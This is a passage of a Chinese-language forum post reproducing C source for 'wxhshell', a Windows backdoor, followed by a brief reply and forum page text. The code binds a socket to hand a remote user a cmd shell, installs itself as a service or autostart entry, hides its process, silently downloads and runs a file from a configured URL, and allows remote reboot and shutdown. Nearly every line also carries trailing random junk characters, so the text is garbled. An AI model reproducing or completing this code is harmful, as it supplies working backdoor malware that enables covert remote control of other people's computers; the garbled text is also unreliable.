  if(DownloadFile(cmd,wsh)) bBIh}aDN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'|n.1Fr  
  else tN#C.M7.'7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $dM_uSt  
  } ?Q:SVxzUd  
  else { "ESc^28  
%q5dV<X'c  
    switch(cmd[0]) { KL \>-  
  99yWUC,  
  // 帮助 Q/o,2R  
  case '?': { gvP-doA7W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a1pp=3Pd?~  
    break; Sk{skvd;  
  } v3"6'.f;bY  
  // 安装 21TR_0g&<  
  case 'i': { b<FE   
    if(Install()) ebA95v`Vms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /LFuf`bXV  
    else >0HH#JW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fk=SkS ky  
    break; n/ KO{:  
    } Gz&}OO  
  // 卸载 ,I"T9k-^  
  case 'r': { ]I|(/+}M  
    if(Uninstall()) Kq[4I[+R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =p+n(C/  
    else b8K]>yDAh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zn9tG:V  
    break; Pd7\Q]of  
    } Vh~hfj"  
  // 显示 wxhshell 所在路径 Pn!~U] A$%  
  case 'p': { NP;W=A F  
    char svExeFile[MAX_PATH]; ?^VPO%  
    strcpy(svExeFile,"\n\r"); g8O6 b  
      strcat(svExeFile,ExeFile); 5G355 ,}E  
        send(wsh,svExeFile,strlen(svExeFile),0); & /8Tth86  
    break; g}MUfl-L  
    } w_{tS\  
  // 重启 =~ Uhr6Q  
  case 'b': { ?^voA.Bv<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MtkU]XKGT  
    if(Boot(REBOOT)) }{R*pmv$bN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i#-v4g  
    else { ^/BGOBK  
    closesocket(wsh); "{~5QO   
    ExitThread(0); rZ?:$],U!  
    } F! !HwI  
    break; }JFTe g  
    } K/W=r  
  // 关机 0O"W0s"T#  
  case 'd': { 3en 9TB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6+$2rS$1V  
    if(Boot(SHUTDOWN)) $z=%e#(!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =zFROB\  
    else { #,tT`{u1q  
    closesocket(wsh); <UGaIb  
    ExitThread(0); Cu7{>"  
    } 9rEBq&  
    break; hC2Fup1@  
    } >[ B.y  
  // 获取shell k|-\[Yl.  
  case 's': { Et3]n$  
    CmdShell(wsh); )'kpO>_G  
    closesocket(wsh); B[Lm}B[  
    ExitThread(0); mGE!,!s}  
    break; ~A>fB2.pM  
  } E !!,JnU  
  // 退出 iaL@- dg  
  case 'x': { a/ A c^!(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m[}P  
    CloseIt(wsh); ?I?G+(bq  
    break; >W>rhxU  
    } vzS b(  
  // 离开 [e><^R*u  
  case 'q': { g@#he95 }  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b~zSsws.  
    closesocket(wsh); rMwa6ZO'm;  
    WSACleanup(); ^BF}wQb :j  
    exit(1); 4|PWR_x  
    break; ]ogifnwv  
        } B''yW{  
  } >SXSrXyYX  
  } ndD>Oc}"3  
.,u>WIUxj  
  // 提示信息 2}&ERW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); btg= # u  
} O=A R`r#u  
  } R%.`h  
Mqr]e#"o  
  return; ^/#+0/Bn  
} #R5\k-I  
9p8ajlYg,  
// shell模块句柄 "5N4 of 8  
int CmdShell(SOCKET sock) ; $rQ  
{ c~U0&V_`j  
STARTUPINFO si; #czI nXTTx  
ZeroMemory(&si,sizeof(si)); 44e]sT.B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |*?N#0s5h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2BC!,e$Z  
PROCESS_INFORMATION ProcessInfo; \~#\ [r_  
char cmdline[]="cmd"; ~m=GS[=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I7vP*YE 7F  
  return 0; Fbo"Csn_  
} %<kfW&_>w  
eP2Q2C8g  
// 自身启动模式 F/2cQ .u2  
int StartFromService(void) P' VHga  
{ `p\%ha!,w  
typedef struct ()6% 1zCO  
{ 7=fM}sk  
  DWORD ExitStatus; 4(\1z6?D  
  DWORD PebBaseAddress; 3.YH7rN  
  DWORD AffinityMask; "1s ]74  
  DWORD BasePriority; U,2OofLM  
  ULONG UniqueProcessId; Gxd/t#;  
  ULONG InheritedFromUniqueProcessId; 4>(K~v5;N  
}   PROCESS_BASIC_INFORMATION; mywx V  
?`TJ0("z"  
PROCNTQSIP NtQueryInformationProcess; S+06pj4Ie  
#w L(<nE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1tXc7NA<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P{dR pH|  
HVvm3qu4  
  HANDLE             hProcess; .g/!u(iy  
  PROCESS_BASIC_INFORMATION pbi; NATi)A"TZ  
_A]jiPq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #4|RaI|.  
  if(NULL == hInst ) return 0; GYw/KT~$  
@16y%]Q-E#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oi?Q^ISxP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }|h-=T '  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rb<| <D+  
9>+>s ?IgK  
  if (!NtQueryInformationProcess) return 0; hak#Iz0[C  
o,k#ft<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mV]~}7*Y;  
  if(!hProcess) return 0; _x5-!gK  
<=uO*s>%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \nOV2(FAT  
'_g&!zi8~  
  CloseHandle(hProcess); w32F?78]  
rREev  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uj 3{c  
if(hProcess==NULL) return 0; N+SA$wG  
_6FDuCVD-  
HMODULE hMod; >ptI!\i}  
char procName[255]; h<m>S,@g  
unsigned long cbNeeded; IAd ^$9  
IwFf8? 3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1slt[&4N  
dFeGibI{  
  CloseHandle(hProcess); rGH7S!\AM  
i_6wD  
if(strstr(procName,"services")) return 1; // 以服务启动 p38s&\-kEN  
-GgV&%'a  
  return 0; // 注册表启动 " 6$+B/5  
} 5}N O~Xd<  
kH=~2rwm  
// 主模块 W6B o\UK  
int StartWxhshell(LPSTR lpCmdLine) !oV'  
{ }xrrHp  
  SOCKET wsl; 0g#?'sD  
BOOL val=TRUE; Rx<[bohio  
  int port=0; 1?+)T%"  
  struct sockaddr_in door; 8/34{2048  
{iq{<;)U?U  
  if(wscfg.ws_autoins) Install(); s|!b: Ms`  
BJ/#V)  
port=atoi(lpCmdLine); N_!Zn"J  
G[yN*C  
if(port<=0) port=wscfg.ws_port; qj|B #dU  
$PbN=@  
  WSADATA data; !as<UH"\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m4P=,=%  
=TI|uD6T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y+iuA@WCv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >BQF<  
  door.sin_family = AF_INET; PZA;10z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -p !KsU  
  door.sin_port = htons(port); e;}5~dSi  
<Q-ufF85)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s: q15"  
closesocket(wsl); =Jl1D*B*  
return 1; .'AHIR&>  
} PuABS>.;  
Iei4yDv ;  
  if(listen(wsl,2) == INVALID_SOCKET) { Q+ST8  
closesocket(wsl); |V~P6o(/  
return 1; <ct{D|mm  
} Y.*lO  
  Wxhshell(wsl); E[Io8|QA  
  WSACleanup(); =v5(*$"pd"  
CX'E+  
return 0; a m zw  
LP)mp cQ  
} o-' i)pp  
UZX)1?U  
// 以NT服务方式启动 &Y=NUDt_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GRV9s9^  
{ et ~gO!1:*  
DWORD   status = 0; z=Vvb  
  DWORD   specificError = 0xfffffff; $-AvH( @  
/eMZTh*1P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tk2kis(n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a&ByV!%%+_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sf'5/9<DW+  
  serviceStatus.dwWin32ExitCode     = 0; &lS0"`J=  
  serviceStatus.dwServiceSpecificExitCode = 0; yaR;  
  serviceStatus.dwCheckPoint       = 0; y?@Y\ b  
  serviceStatus.dwWaitHint       = 0; TgB;R5  
C[&&.w8Pm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d,+n,;6Cf  
  if (hServiceStatusHandle==0) return; ?-84_i  
o%QQ7S3 P  
status = GetLastError(); rYS D-Kq  
  if (status!=NO_ERROR) J3.Q8f  
{ :{ T#M$T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +e:ZN tr9  
    serviceStatus.dwCheckPoint       = 0; 7h0'R k  
    serviceStatus.dwWaitHint       = 0; 1;gSf.naG  
    serviceStatus.dwWin32ExitCode     = status; @ty|HXW  
    serviceStatus.dwServiceSpecificExitCode = specificError; (Sv%-8?gs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6qJB"_.  
    return;  ck~xj0  
  } %UJ4wm  
a*[\edcHU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dJ^`9W  
  serviceStatus.dwCheckPoint       = 0; ZtLn*M  
  serviceStatus.dwWaitHint       = 0; [;f"',)y,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ] zY  
} feW9 >f;  
*n'x S L  
// 处理NT服务事件,比如:启动、停止 K)@}Ok"#\4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Kp+8D*  
{ [E~TYk;  
switch(fdwControl) UIj/Id  
{ 9.=#4OH/  
case SERVICE_CONTROL_STOP: !gf3%!%  
  serviceStatus.dwWin32ExitCode = 0; R4(8]oUW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k>CtWV5B  
  serviceStatus.dwCheckPoint   = 0; \(FDR  
  serviceStatus.dwWaitHint     = 0; e"6i >w!  
  { ;#i$0~lRl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o {LFXNcg[  
  } ZRm\d3x4  
  return; Z5[:Zf?h7J  
case SERVICE_CONTROL_PAUSE: B-|Zo_7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l7!)#^`2_  
  break; K:@=W1  
case SERVICE_CONTROL_CONTINUE: n5/Tn7hY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CM1a<bV<  
  break; Gnt!!1_8L  
case SERVICE_CONTROL_INTERROGATE: ~(/HgFLLu  
  break; b1]_e'jj  
}; yWtr,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  7~nCK  
} !@Lc/'w  
]/Qy1,  
// 标准应用程序主函数 \q'fB?bS^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !gHWYWu)!  
{ S5KYZ W  
E_1I|$  
// 获取操作系统版本 +|YZEC  
OsIsNt=GetOsVer(); =>\-ma+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A i){,nh`0  
lkg*AAR?'  
  // 从命令行安装 oK:P@V6!  
  if(strpbrk(lpCmdLine,"iI")) Install(); PZRn6Tc  
S!W/K!wf  
  // 下载执行文件 `lezJ (Xm  
if(wscfg.ws_downexe) { F(~_L.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XuoEAu8]  
  WinExec(wscfg.ws_filenam,SW_HIDE); '#PqI)P  
}  &Z!K]OSY  
X/K)kIi  
if(!OsIsNt) { M03i4R@h(  
// 如果时win9x,隐藏进程并且设置为注册表启动 M6iO8vY  
HideProc(); )z235}P  
StartWxhshell(lpCmdLine); 0&IXzEOr  
} EQ63VF  
else T) tZU?  
  if(StartFromService()) <-B"|u  
  // 以服务方式启动 _<RR`  
  StartServiceCtrlDispatcher(DispatchTable); l()MYuLNV  
else 6mpg&'>  
  // 普通方式启动 Tb1}XvZ  
  StartWxhshell(lpCmdLine); 0O,T=z[+>  
@U3foL2\  
return 0; .A7tq  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八